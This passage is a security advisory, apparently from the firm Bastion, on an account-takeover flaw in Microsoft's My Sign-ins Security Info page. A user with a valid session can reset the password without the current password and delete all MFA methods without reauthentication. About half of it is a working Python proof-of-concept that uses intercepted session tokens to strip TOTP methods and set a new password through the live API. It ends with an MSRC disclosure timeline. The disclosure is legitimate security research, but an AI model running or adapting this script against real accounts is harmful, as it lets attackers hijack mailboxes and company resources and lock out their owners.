Within this flow, there exists two ways to modify a user’s password. In the image below, we demonstrate the old flow which is being phased out:

Within this flow, we can observe that the current password is required in order to change the users password. Now, if instead you click “MySecurityInfo” which is noted to be the new way to reset a password you are met with the following form:

Within this flow, we can observe that the current password is no longer required in order to change the current users password. Further to this, this action also does not prompt for MFA if enabled. Due to this, anyone with access to this page is able to simply change the users password without knowledge of the current password. Note that some accounts may prompt for the current password based on the underlying authentication state. During testing, Bastion only ever encountered this once and believes it to be an unlikely occurrence.
But wait, there’s more!
Within the “Security info” page, we can also see that all of the victim’s currently configured MFA solutions are listed with a handy “Delete” button present. This can be seen in the image below:

If we select “Delete”, the following form is presented to an attacker:

Clicking “Ok” does not prompt the attacker to enter either a password or any form of MFA.
Through the combination of these issues, any attacker with access to a valid Microsoft session will be able to remove the user from their own account and take it over.
Further, in an MFA enforced environment the removal of MFA from the account will prompt an attacker to configure their own MFA on next login. This entire flow can be seen in the video below:
Proof of concept (PoC)
Currently the most reliable method for exploiting on an individual is manual exploitation.
As a PoC however, Bastion has also created the following script which runs in a few seconds. Currently, this script does require a manual step in order to fetch the relevant victims authentication, however an attacker that is able to automate that step would have a fast, automated means with which to takeover accounts.
import asyncio
import json
import time
import httpx
from idox import Request, Idox
"""In order to use this script do the following:
1. `pip install httpx idox`
2. Intercept a request to the 'Security Info' page with the following headers (/api/authenticationmethods/availablemethods):
- Authorization
- Sessionctx
- Sessionctxv2
- X-Ms-Mysignins-Region
3. Create a file called `request.txt` and put the intercepted request in the file
4. Modify the password at the bottom of the script if you wish to change it
5. Run this script
As this is a PoC alongside the advisory, user input is required.
"""with
open
("request.txt", "r")
as
f:
request: Request =
Idox.
split_request
(f.
read
())
X_Ms_Mysignins_Region =
request.headers["X-Ms-Mysignins-Region"]
BEARER_TOKEN =
request.headers["Authorization"]
SESSION_CTX =
request.headers["Sessionctx"]
SESSION_CTX_V2 =
request.headers["Sessionctxv2"]
async
def
fetch_mfa_results
():
"""Fetch all enabled MFA items"""
async
with
httpx.
AsyncClient
()
as
client:
resp: httpx.Response =
await
client.
get
(
url=
"https://mysignins.microsoft.com/api/authenticationmethods/availablemethods",
headers=
{
"Host": "mysignins.microsoft.com",
"Content-Type": "application/json",
"Authorization": BEARER_TOKEN,
"Sessionctx": SESSION_CTX,
"Sessionctxv2": SESSION_CTX_V2,
"X-Ms-Mysignins-Region": X_Ms_Mysignins_Region,
"Ajaxrequest": "true",
"Referer": "https://mysignins.microsoft.com/security-info",
"Sec-Fetch-Dest": "empty",
"Sec-Fetch-Mode": "cors",
"Sec-Fetch-Site": "same-origin",
"Te": "trailers",
"Connection": "keep-alive",
},
cookies=
[],
)
_, results =
resp.text.
split
(",", maxsplit
=
1)
return
json.
loads
(results)
def
mfa_result_to_deletion_payload
(mfa_data: dict)
->
list[str]:
"""Return all TOTP app's with the correct payloads to use for deletion requests.
Note this currently only deletes TOTP authentication methods.
"""
data =
[]
for
payload
in
mfa_data["AuthenticatorApp"]["Data"]:
data.append
(json.
dumps
(payload))
return
data
async
def
delete_mfa_entry
(mfa_data: str)
->
None:
"""Delete a given MFA entry"""
async
with
httpx.
AsyncClient
()
as
client:
await
client.
post
(
url=
"https://mysignins.microsoft.com/api/authenticationmethods/delete",
headers=
{
"Host": "mysignins.microsoft.com",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate, br",
"Content-Type": "application/json",
"Authorization": BEARER_TOKEN,
"Sessionctx": SESSION_CTX,
"Sessionctxv2": SESSION_CTX_V2,
"X-Ms-Mysignins-Region": X_Ms_Mysignins_Region,
"Ajaxrequest": "true",
"Origin": "https://mysignins.microsoft.com",
"Referer": "https://mysignins.microsoft.com/security-info",
"Sec-Fetch-Dest": "empty",
"Sec-Fetch-Mode": "cors",
"Sec-Fetch-Site": "same-origin",
"Priority": "u=0",
"Te": "trailers",
"Connection": "keep-alive",
},
cookies=
[],
json=
{"Type": 1, "Data": mfa_data},
)async
def
get_password_method
()
->
str:
"""Fetch the method ID of the password so we can reset it"""
async
with
httpx.
AsyncClient
()
as
client:
resp: httpx.Response =
await
client.
get
(
url=
"https://api.mysignins.microsoft.com/api/password/passwordMethods",
headers=
{
"Host": "api.mysignins.microsoft.com",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate, br",
"Content-Type": "application/json",
"Authorization": BEARER_TOKEN,
"Origin": "https://mysignins.microsoft.com",
"Referer": "https://mysignins.microsoft.com/",
"Sec-Fetch-Dest": "empty",
"Sec-Fetch-Mode": "cors",
"Sec-Fetch-Site": "same-site",
"Te": "trailers",
"Connection": "keep-alive",
},
cookies=
[],
)
data =
resp.
json
()
assert
(
len
(data["passwordMethods"])
==
1
), "This PoC is only built for one form of password method"
return
data["passwordMethods"][0]["id"]
async
def
change_password
(
*
, method_id, new_password):
async
with
httpx.
AsyncClient
()
as
client:
resp: httpx.Response =
await
client.
post
(
url=
"https://api.mysignins.microsoft.com/api/password/reset",
headers=
{
"Host": "api.mysignins.microsoft.com",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate, br",
"Content-Type": "application/json",
"Authorization": BEARER_TOKEN,
"Origin": "https://mysignins.microsoft.com",
"Referer": "https://mysignins.microsoft.com/",
"Sec-Fetch-Dest": "empty",
"Sec-Fetch-Mode": "cors",
"Sec-Fetch-Site": "same-site",
"Priority": "u=0",
"Te": "trailers",
"Connection": "keep-alive",
},
cookies=
[],
json=
{
"methodId": method_id,
"newPassword": new_password,
},
)
assert
resp.status_code
==
200, "Changing the password failed"
async
def
main
():
start =
time.
time
()
all_mfa =
await
fetch_mfa_results
()
print
("Fetched all current MFA methods")
mfa_data_payloads =
mfa_result_to_deletion_payload
(all_mfa)
for
payload
in
mfa_data_payloads:
await
delete_mfa_entry
(payload)
print
("Deleted all found MFA methods")
password_method_id =
await
get_password_method
()
await
change_password
(
method_id=
password_method_id,
new_password=
"<PASSWORD>",
)
print
(
"Password modified to attacker provided value\n"
"This account is now entirely yours, enjoy.\n"
f"Execution time: {time.time
()
-
start:.2f} seconds"
)if
__name__
==
"__main__":
asyncio.run
(
main
())
Potential impact
A threat actor that is able to gain access to a valid Microsoft session would be able to takeover the account, locking the owner out in the process.
This would then allow the threat actor to conduct any action that the original user had permission to do so, such as sending emails or accessing privileged company resources.
Disclosure timeline
- July 8th, 2024: Issue reported to the Microsoft Security Response Center (MSRC).
- July 8th, 2024: MSRC acknowledges receipt of report.
- July 9th, 2024: MSRC requests a video PoC be presented.
- July 9th, 2024: PoC provided.
- July 10th, 2024: MSRC confirms a case has been opened for this issue.
- August 9th, 2024: Update requested by Bastion.
- August 22nd, 2024: MSRC marks case as ‘Complete’ and mentions the case has been assessed as moderate severity and does not MSRC’s bar for immediate servicing.
- August 22nd, 2024: Next steps requested by Bastion.
- September 4th, 2024: MSRC requests a draft blog post and mentions that this issue is with the engineering team to prioritize as they wish.
- September 11th, 2024: Draft blog post provided by Bastion.
- September 12th, 2024: MSRC acknowledges recipient.
- September 26th, 2024: Bastion requests the reasoning behind the severity classification.
- October 3rd, 2024: MSRC acknowledges the request and mentions it has been passed to the relevant team.
- October 9th, 2024: MSRC provides the engineering teams feedback.
- October 9th, 2024: Bastion acknowledges the receipt of the information.
- October 10th, 2024: Advisory live.